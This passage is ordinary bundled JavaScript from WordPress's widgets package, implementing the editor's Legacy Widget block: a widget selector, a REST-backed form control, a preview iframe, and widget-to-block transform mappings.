/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  MoveToWidgetArea: () => (/* reexport */ MoveToWidgetArea),
  addWidgetIdToBlock: () => (/* reexport */ addWidgetIdToBlock),
  getWidgetIdFromBlock: () => (/* reexport */ getWidgetIdFromBlock),
  registerLegacyWidgetBlock: () => (/* binding */ registerLegacyWidgetBlock),
  registerLegacyWidgetVariations: () => (/* reexport */ registerLegacyWidgetVariations),
  registerWidgetGroupBlock: () => (/* binding */ registerWidgetGroupBlock)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/index.js
var legacy_widget_namespaceObject = {};
__webpack_require__.r(legacy_widget_namespaceObject);
__webpack_require__.d(legacy_widget_namespaceObject, {
  yu: () => (block_namespaceObject),
  UU: () => (legacy_widget_name),
  W0: () => (settings)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/index.js
var widget_group_namespaceObject = {};
__webpack_require__.r(widget_group_namespaceObject);
__webpack_require__.d(widget_group_namespaceObject, {
  yu: () => (widget_group_block_namespaceObject),
  UU: () => (widget_group_name),
  W0: () => (widget_group_settings)
});

;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// ./node_modules/@wordpress/icons/build-module/library/widget.js


var widget_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 3H8V5H16V3H18V5C19.1046 5 20 5.89543 20 7V19C20 20.1046 19.1046 21 18 21H6C4.89543 21 4 20.1046 4 19V7C4 5.89543 4.89543 5 6 5V3ZM18 6.5H6C5.72386 6.5 5.5 6.72386 5.5 7V8H18.5V7C18.5 6.72386 18.2761 6.5 18 6.5ZM18.5 9.5H5.5V19C5.5 19.2761 5.72386 19.5 6 19.5H18C18.2761 19.5 18.5 19.2761 18.5 19V9.5ZM11 11H13V13H11V11ZM7 11V13H9V11H7ZM15 13V11H17V13H15Z" }) });


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/block.json
const block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/legacy-widget","title":"Legacy Widget","category":"widgets","description":"Display a legacy widget.","textdomain":"default","attributes":{"id":{"type":"string","default":null},"idBase":{"type":"string","default":null},"instance":{"type":"object","default":null}},"supports":{"html":false,"customClassName":false,"reusable":false},"editorStyle":"wp-block-legacy-widget-editor"}');
;// ./node_modules/clsx/dist/clsx.mjs
function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// ./node_modules/@wordpress/icons/build-module/library/brush.js


var brush_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z" }) });


;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","coreData"]
const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/widget-type-selector.js






function WidgetTypeSelector({ selectedId, onSelect }) {
  const widgetTypes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
    const hiddenIds = select(external_wp_blockEditor_namespaceObject.store).getSettings()?.widgetTypesToHideFromLegacyWidgetBlock ?? [];
    return select(external_wp_coreData_namespaceObject.store).getWidgetTypes({ per_page: -1 })?.filter((widgetType) => !hiddenIds.includes(widgetType.id));
  }, []);
  if (!widgetTypes) {
    return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
  }
  if (widgetTypes.length === 0) {
    return (0,external_wp_i18n_namespaceObject.__)("There are no widgets available.");
  }
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
    external_wp_components_namespaceObject.SelectControl,
    {
      __next40pxDefaultSize: true,
      __nextHasNoMarginBottom: true,
      label: (0,external_wp_i18n_namespaceObject.__)("Legacy widget"),
      value: selectedId ?? "",
      options: [
        { value: "", label: (0,external_wp_i18n_namespaceObject.__)("Select widget") },
        ...widgetTypes.map((widgetType) => ({
          value: widgetType.id,
          label: widgetType.name
        }))
      ],
      onChange: (value) => {
        if (value) {
          const selected = widgetTypes.find(
            (widgetType) => widgetType.id === value
          );
          onSelect({
            selectedId: selected.id,
            isMulti: selected.is_multi
          });
        } else {
          onSelect({ selectedId: null });
        }
      }
    }
  );
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/inspector-card.js

function InspectorCard({ name, description }) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-legacy-widget-inspector-card", children: [
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget-inspector-card__name", children: name }),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: description })
  ] });
}


;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/control.js



class Control {
  /**
   * Creates and loads a new control.
   *
   * @access public
   * @param {Object}   params
   * @param {string}   params.id
   * @param {string}   params.idBase
   * @param {Object}   params.instance
   * @param {Function} params.onChangeInstance
   * @param {Function} params.onChangeHasPreview
   * @param {Function} params.onError
   */
  constructor({
    id,
    idBase,
    instance,
    onChangeInstance,
    onChangeHasPreview,
    onError
  }) {
    this.id = id;
    this.idBase = idBase;
    this._instance = instance;
    this._hasPreview = null;
    this.onChangeInstance = onChangeInstance;
    this.onChangeHasPreview = onChangeHasPreview;
    this.onError = onError;
    this.number = ++lastNumber;
    this.handleFormChange = (0,external_wp_compose_namespaceObject.debounce)(
      this.handleFormChange.bind(this),
      200
    );
    this.handleFormSubmit = this.handleFormSubmit.bind(this);
    this.initDOM();
    this.bindEvents();
    this.loadContent();
  }
  /**
   * Clean up the control so that it can be garbage collected.
   *
   * @access public
   */
  destroy() {
    this.unbindEvents();
    this.element.remove();
  }
  /**
   * Creates the control's DOM structure.
   *
   * @access private
   */
  initDOM() {
    this.element = el("div", { class: "widget open" }, [
      el("div", { class: "widget-inside" }, [
        this.form = el("form", { class: "form", method: "post" }, [
          // These hidden form inputs are what most widgets' scripts
          // use to access data about the widget.
          el("input", {
            class: "widget-id",
            type: "hidden",
            name: "widget-id",
            value: this.id ?? `${this.idBase}-${this.number}`
          }),
          el("input", {
            class: "id_base",
            type: "hidden",
            name: "id_base",
            value: this.idBase ?? this.id
          }),
          el("input", {
            class: "widget-width",
            type: "hidden",
            name: "widget-width",
            value: "250"
          }),
          el("input", {
            class: "widget-height",
            type: "hidden",
            name: "widget-height",
            value: "200"
          }),
          el("input", {
            class: "widget_number",
            type: "hidden",
            name: "widget_number",
            value: this.idBase ? this.number.toString() : ""
          }),
          this.content = el("div", { class: "widget-content" }),
          // Non-multi widgets can be saved via a Save button.
          this.id && el(
            "button",
            {
              class: "button is-primary",
              type: "submit"
            },
            (0,external_wp_i18n_namespaceObject.__)("Save")
          )
        ])
      ])
    ]);
  }
  /**
   * Adds the control's event listeners.
   *
   * @access private
   */
  bindEvents() {
    if (window.jQuery) {
      const { jQuery: $ } = window;
      $(this.form).on("change", null, this.handleFormChange);
      $(this.form).on("input", null, this.handleFormChange);
      $(this.form).on("submit", this.handleFormSubmit);
    } else {
      this.form.addEventListener("change", this.handleFormChange);
      this.form.addEventListener("input", this.handleFormChange);
      this.form.addEventListener("submit", this.handleFormSubmit);
    }
  }
  /**
   * Removes the control's event listeners.
   *
   * @access private
   */
  unbindEvents() {
    if (window.jQuery) {
      const { jQuery: $ } = window;
      $(this.form).off("change", null, this.handleFormChange);
      $(this.form).off("input", null, this.handleFormChange);
      $(this.form).off("submit", this.handleFormSubmit);
    } else {
      this.form.removeEventListener("change", this.handleFormChange);
      this.form.removeEventListener("input", this.handleFormChange);
      this.form.removeEventListener("submit", this.handleFormSubmit);
    }
  }
  /**
   * Fetches the widget's form HTML from the REST API and loads it into the
   * control's form.
   *
   * @access private
   */
  async loadContent() {
    try {
      if (this.id) {
        const { form } = await saveWidget(this.id);
        this.content.innerHTML = form;
      } else if (this.idBase) {
        const { form, preview } = await encodeWidget({
          idBase: this.idBase,
          instance: this.instance,
          number: this.number
        });
        this.content.innerHTML = form;
        this.hasPreview = !isEmptyHTML(preview);
        if (!this.instance.hash) {
          const { instance } = await encodeWidget({
            idBase: this.idBase,
            instance: this.instance,
            number: this.number,
            formData: serializeForm(this.form)
          });
          this.instance = instance;
        }
      }
      if (window.jQuery) {
        const { jQuery: $ } = window;
        $(document).trigger("widget-added", [$(this.element)]);
      }
    } catch (error) {
      this.onError(error);
    }
  }
  /**
   * Perform a save when a multi widget's form is changed. Non-multi widgets
   * are saved manually.
   *
   * @access private
   */
  handleFormChange() {
    if (this.idBase) {
      this.saveForm();
    }
  }
  /**
   * Perform a save when the control's form is manually submitted.
   *
   * @access private
   * @param {Event} event
   */
  handleFormSubmit(event) {
    event.preventDefault();
    this.saveForm();
  }
  /**
   * Serialize the control's form, send it to the REST API, and update the
   * instance with the encoded instance that the REST API returns.
   *
   * @access private
   */
  async saveForm() {
    const formData = serializeForm(this.form);
    try {
      if (this.id) {
        const { form } = await saveWidget(this.id, formData);
        this.content.innerHTML = form;
        if (window.jQuery) {
          const { jQuery: $ } = window;
          $(document).trigger("widget-updated", [
            $(this.element)
          ]);
        }
      } else if (this.idBase) {
        const { instance, preview } = await encodeWidget({
          idBase: this.idBase,
          instance: this.instance,
          number: this.number,
          formData
        });
        this.instance = instance;
        this.hasPreview = !isEmptyHTML(preview);
      }
    } catch (error) {
      this.onError(error);
    }
  }
  /**
   * The widget's instance object.
   *
   * @access private
   */
  get instance() {
    return this._instance;
  }
  /**
   * The widget's instance object.
   *
   * @access private
   */
  set instance(instance) {
    if (this._instance !== instance) {
      this._instance = instance;
      this.onChangeInstance(instance);
    }
  }
  /**
   * Whether or not the widget can be previewed.
   *
   * @access public
   */
  get hasPreview() {
    return this._hasPreview;
  }
  /**
   * Whether or not the widget can be previewed.
   *
   * @access private
   */
  set hasPreview(hasPreview) {
    if (this._hasPreview !== hasPreview) {
      this._hasPreview = hasPreview;
      this.onChangeHasPreview(hasPreview);
    }
  }
}
let lastNumber = 0;
function el(tagName, attributes = {}, content = null) {
  const element = document.createElement(tagName);
  for (const [attribute, value] of Object.entries(attributes)) {
    element.setAttribute(attribute, value);
  }
  if (Array.isArray(content)) {
    for (const child of content) {
      if (child) {
        element.appendChild(child);
      }
    }
  } else if (typeof content === "string") {
    element.innerText = content;
  }
  return element;
}
async function saveWidget(id, formData = null) {
  let widget;
  if (formData) {
    widget = await external_wp_apiFetch_default()({
      path: `/wp/v2/widgets/${id}?context=edit`,
      method: "PUT",
      data: {
        form_data: formData
      }
    });
  } else {
    widget = await external_wp_apiFetch_default()({
      path: `/wp/v2/widgets/${id}?context=edit`,
      method: "GET"
    });
  }
  return { form: widget.rendered_form };
}
async function encodeWidget({ idBase, instance, number, formData = null }) {
  const response = await external_wp_apiFetch_default()({
    path: `/wp/v2/widget-types/${idBase}/encode`,
    method: "POST",
    data: {
      instance,
      number,
      form_data: formData
    }
  });
  return {
    instance: response.instance,
    form: response.form,
    preview: response.preview
  };
}
function isEmptyHTML(html) {
  const element = document.createElement("div");
  element.innerHTML = html;
  return isEmptyNode(element);
}
function isEmptyNode(node) {
  switch (node.nodeType) {
    case node.TEXT_NODE:
      return node.nodeValue.trim() === "";
    case node.ELEMENT_NODE:
      if ([
        "AUDIO",
        "CANVAS",
        "EMBED",
        "IFRAME",
        "IMG",
        "MATH",
        "OBJECT",
        "SVG",
        "VIDEO"
      ].includes(node.tagName)) {
        return false;
      }
      if (!node.hasChildNodes()) {
        return true;
      }
      return Array.from(node.childNodes).every(isEmptyNode);
    default:
      return true;
  }
}
function serializeForm(form) {
  return new window.URLSearchParams(
    Array.from(new window.FormData(form))
  ).toString();
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/form.js









function Form({
  title,
  isVisible,
  id,
  idBase,
  instance,
  isWide,
  onChangeInstance,
  onChangeHasPreview
}) {
  const ref = (0,external_wp_element_namespaceObject.useRef)();
  const isMediumLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small");
  const outgoingInstances = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
  const incomingInstances = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
  const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (incomingInstances.current.has(instance)) {
      incomingInstances.current.delete(instance);
      return;
    }
    const control = new Control({
      id,
      idBase,
      instance,
      onChangeInstance(nextInstance) {
        outgoingInstances.current.add(instance);
        incomingInstances.current.add(nextInstance);
        onChangeInstance(nextInstance);
      },
      onChangeHasPreview,
      onError(error) {
        window.console.error(error);
        createNotice(
          "error",
          (0,external_wp_i18n_namespaceObject.sprintf)(
            /* translators: %s: the name of the affected block. */
            (0,external_wp_i18n_namespaceObject.__)(
              'The "%s" block was affected by errors and may not function properly. Check the developer tools for more details.'
            ),
            idBase || id
          )
        );
      }
    });
    ref.current.appendChild(control.element);
    return () => {
      if (outgoingInstances.current.has(instance)) {
        outgoingInstances.current.delete(instance);
        return;
      }
      control.destroy();
    };
  }, [
    id,
    idBase,
    instance,
    onChangeInstance,
    onChangeHasPreview,
    isMediumLargeViewport
  ]);
  if (isWide && isMediumLargeViewport) {
    return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
      "div",
      {
        className: dist_clsx({
          "wp-block-legacy-widget__container": isVisible
        }),
        children: [
          isVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget__edit-form-title", children: title }),
          /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
            external_wp_components_namespaceObject.Popover,
            {
              focusOnMount: false,
              placement: "right",
              offset: 32,
              resize: false,
              flip: false,
              shift: true,
              children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
                "div",
                {
                  ref,
                  className: "wp-block-legacy-widget__edit-form",
                  hidden: !isVisible
                }
              )
            }
          )
        ]
      }
    );
  }
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
    "div",
    {
      ref,
      className: "wp-block-legacy-widget__edit-form",
      hidden: !isVisible,
      children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget__edit-form-title", children: title })
    }
  );
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/preview.js







function Preview({ idBase, instance, isVisible }) {
  const [isLoaded, setIsLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
  const [srcDoc, setSrcDoc] = (0,external_wp_element_namespaceObject.useState)("");
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    const abortController = typeof window.AbortController === "undefined" ? void 0 : new window.AbortController();
    async function fetchPreviewHTML() {
      const restRoute = `/wp/v2/widget-types/${idBase}/render`;
      return await external_wp_apiFetch_default()({
        path: restRoute,
        method: "POST",
        signal: abortController?.signal,
        data: instance ? { instance } : {}
      });
    }
    fetchPreviewHTML().then((response) => {
      setSrcDoc(response.preview);
    }).catch((error) => {
      if ("AbortError" === error.name) {
        return;
      }
      throw error;
    });
    return () => abortController?.abort();
  }, [idBase, instance]);
  const ref = (0,external_wp_compose_namespaceObject.useRefEffect)(
    (iframe) => {
      if (!isLoaded) {
        return;
      }
      function setHeight() {
        const height = Math.max(
          iframe.contentDocument.documentElement?.offsetHeight ?? 0,
          iframe.contentDocument.body?.offsetHeight ?? 0
        );
        iframe.style.height = `${height !== 0 ? height : 100}px`;
      }
      const { IntersectionObserver } = iframe.ownerDocument.defaultView;
      const intersectionObserver = new IntersectionObserver(
        ([entry]) => {
          if (entry.isIntersecting) {
            setHeight();
          }
        },
        {
          threshold: 1
        }
      );
      intersectionObserver.observe(iframe);
      iframe.addEventListener("load", setHeight);
      return () => {
        intersectionObserver.disconnect();
        iframe.removeEventListener("load", setHeight);
      };
    },
    [isLoaded]
  );
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
    isVisible && !isLoaded && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      "div",
      {
        className: dist_clsx("wp-block-legacy-widget__edit-preview", {
          "is-offscreen": !isVisible || !isLoaded
        }),
        children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
          "iframe",
          {
            ref,
            className: "wp-block-legacy-widget__edit-preview-iframe",
            tabIndex: "-1",
            title: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget Preview"),
            srcDoc,
            onLoad: (event) => {
              event.target.contentDocument.body.style.overflow = "hidden";
              setIsLoaded(true);
            },
            height: 100
          }
        ) })
      }
    )
  ] });
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/no-preview.js


function NoPreview({ name }) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-legacy-widget__edit-no-preview", children: [
    name && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { children: name }),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No preview available.") })
  ] });
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/convert-to-blocks-button.js






function ConvertToBlocksButton({ clientId, rawInstance }) {
  const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
    external_wp_components_namespaceObject.ToolbarButton,
    {
      onClick: () => {
        if (rawInstance.title) {
          replaceBlocks(clientId, [
            (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
              content: rawInstance.title
            }),
            ...(0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: rawInstance.text })
          ]);
        } else {
          replaceBlocks(
            clientId,
            (0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: rawInstance.text })
          );
        }
      },
      children: (0,external_wp_i18n_namespaceObject.__)("Convert to blocks")
    }
  );
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/index.js














function Edit(props) {
  const { id, idBase } = props.attributes;
  const { isWide = false } = props;
  const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
    className: dist_clsx({
      "is-wide-widget": isWide
    })
  });
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: !id && !idBase ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Empty, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotEmpty, { ...props }) });
}
function Empty({ attributes: { id, idBase }, setAttributes }) {
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
    external_wp_components_namespaceObject.Placeholder,
    {
      icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: brush_default }),
      label: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget"),
      children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
        WidgetTypeSelector,
        {
          selectedId: id ?? idBase,
          onSelect: ({ selectedId, isMulti }) => {
            if (!selectedId) {
              setAttributes({
                id: null,
                idBase: null,
                instance: null
              });
            } else if (isMulti) {
              setAttributes({
                id: null,
                idBase: selectedId,
                instance: {}
              });
            } else {
              setAttributes({
                id: selectedId,
                idBase: null,
                instance: null
              });
            }
          }
        }
      ) }) })
    }
  );
}
function NotEmpty({
  attributes: { id, idBase, instance },
  setAttributes,
  clientId,
  isSelected,
  isWide = false
}) {
  const [hasPreview, setHasPreview] = (0,external_wp_element_namespaceObject.useState)(null);
  const widgetTypeId = id ?? idBase;
  const { record: widgetType, hasResolved: hasResolvedWidgetType } = (0,external_wp_coreData_namespaceObject.useEntityRecord)("root", "widgetType", widgetTypeId);
  const setInstance = (0,external_wp_element_namespaceObject.useCallback)((nextInstance) => {
    setAttributes({ instance: nextInstance });
  }, []);
  if (!widgetType && hasResolvedWidgetType) {
    return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      external_wp_components_namespaceObject.Placeholder,
      {
        icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: brush_default }),
        label: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget"),
        children: (0,external_wp_i18n_namespaceObject.__)("Widget is missing.")
      }
    );
  }
  if (!hasResolvedWidgetType) {
    return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
  }
  const mode = idBase && !isSelected ? "preview" : "edit";
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
    idBase === "text" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      ConvertToBlocksButton,
      {
        clientId,
        rawInstance: instance.raw
      }
    ) }),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      InspectorCard,
      {
        name: widgetType.name,
        description: widgetType.description
      }
    ) }),
    /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
      Form,
      {
        title: widgetType.name,
        isVisible: mode === "edit",
        id,
        idBase,
        instance,
        isWide,
        onChangeInstance: setInstance,
        onChangeHasPreview: setHasPreview
      }
    ),
    idBase && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
      hasPreview === null && mode === "preview" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
      hasPreview === true && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
        Preview,
        {
          idBase,
          instance,
          isVisible: mode === "preview"
        }
      ),
      hasPreview === false && mode === "preview" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NoPreview, { name: widgetType.name })
    ] })
  ] });
}


;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/transforms.js

const legacyWidgetTransforms = [
  {
    block: "core/calendar",
    widget: "calendar"
  },
  {
    block: "core/search",
    widget: "search"
  },
  {
    block: "core/html",
    widget: "custom_html",
    transform: ({ content }) => ({
      content
    })
  },
  {
    block: "core/archives",
    widget: "archives",
    transform: ({ count, dropdown }) => {
      return {
        displayAsDropdown: !!dropdown,
        showPostCounts: !!count
      };
    }
  },
  {
    block: "core/latest-posts",
    widget: "recent-posts",
    transform: ({ show_date: displayPostDate, number }) => {
      return {
        displayPostDate: !!displayPostDate,
        postsToShow: number
      };
    }
  },
  {
    block: "core/latest-comments",
    widget: "recent-comments",
    transform: ({ number }) => {
      return {
        commentsToShow: number
      };
    }
  },
  {
    block: "core/tag-cloud",
    widget: "tag_cloud",
    transform: ({ taxonomy, count }) => {
      return {
        showTagCounts: !!count,
        taxonomy
      };
    }
  },
  {
    block: "core/categories",
    widget: "categories",
    transform: ({ count, dropdown, hierarchical }) => {
      return {
        displayAsDropdown: !!dropdown,
        showPostCounts: !!count,
        showHierarchy: !!hierarchical
      };
    }
  },
  {
    block: "core/audio",
    widget: "media_audio",
    transform: ({ url, preload, loop, attachment_id: id }) => {
      return {
        src: url,
        id,
        preload,
        loop
      };
    }
  },
  {
    block: "core/video",
    widget: "media_video",
    transform: ({ url, preload, loop, attachment_id: id }) => {
      return {
        src: url,
        id,
        preload,
        loop
      };
    }
  },
  {
    block: "core/image",
    widget: "media_image",
    transform: ({
      alt,
      attachment_id: id,
      caption,
      height,
      link_classes: linkClass,
      link_rel: rel,
      link_target_blank: targetBlack,
      link_type: linkDestination,
      link_url: link,
      size: sizeSlug,
      url,
      width
    }) => {
      return {
        alt,
        caption,
        height,
        id,
        link,
        linkClass,
        linkDestination,
        linkTarget: targetBlack ? "_blank" : void 0,
        rel,
        sizeSlug,
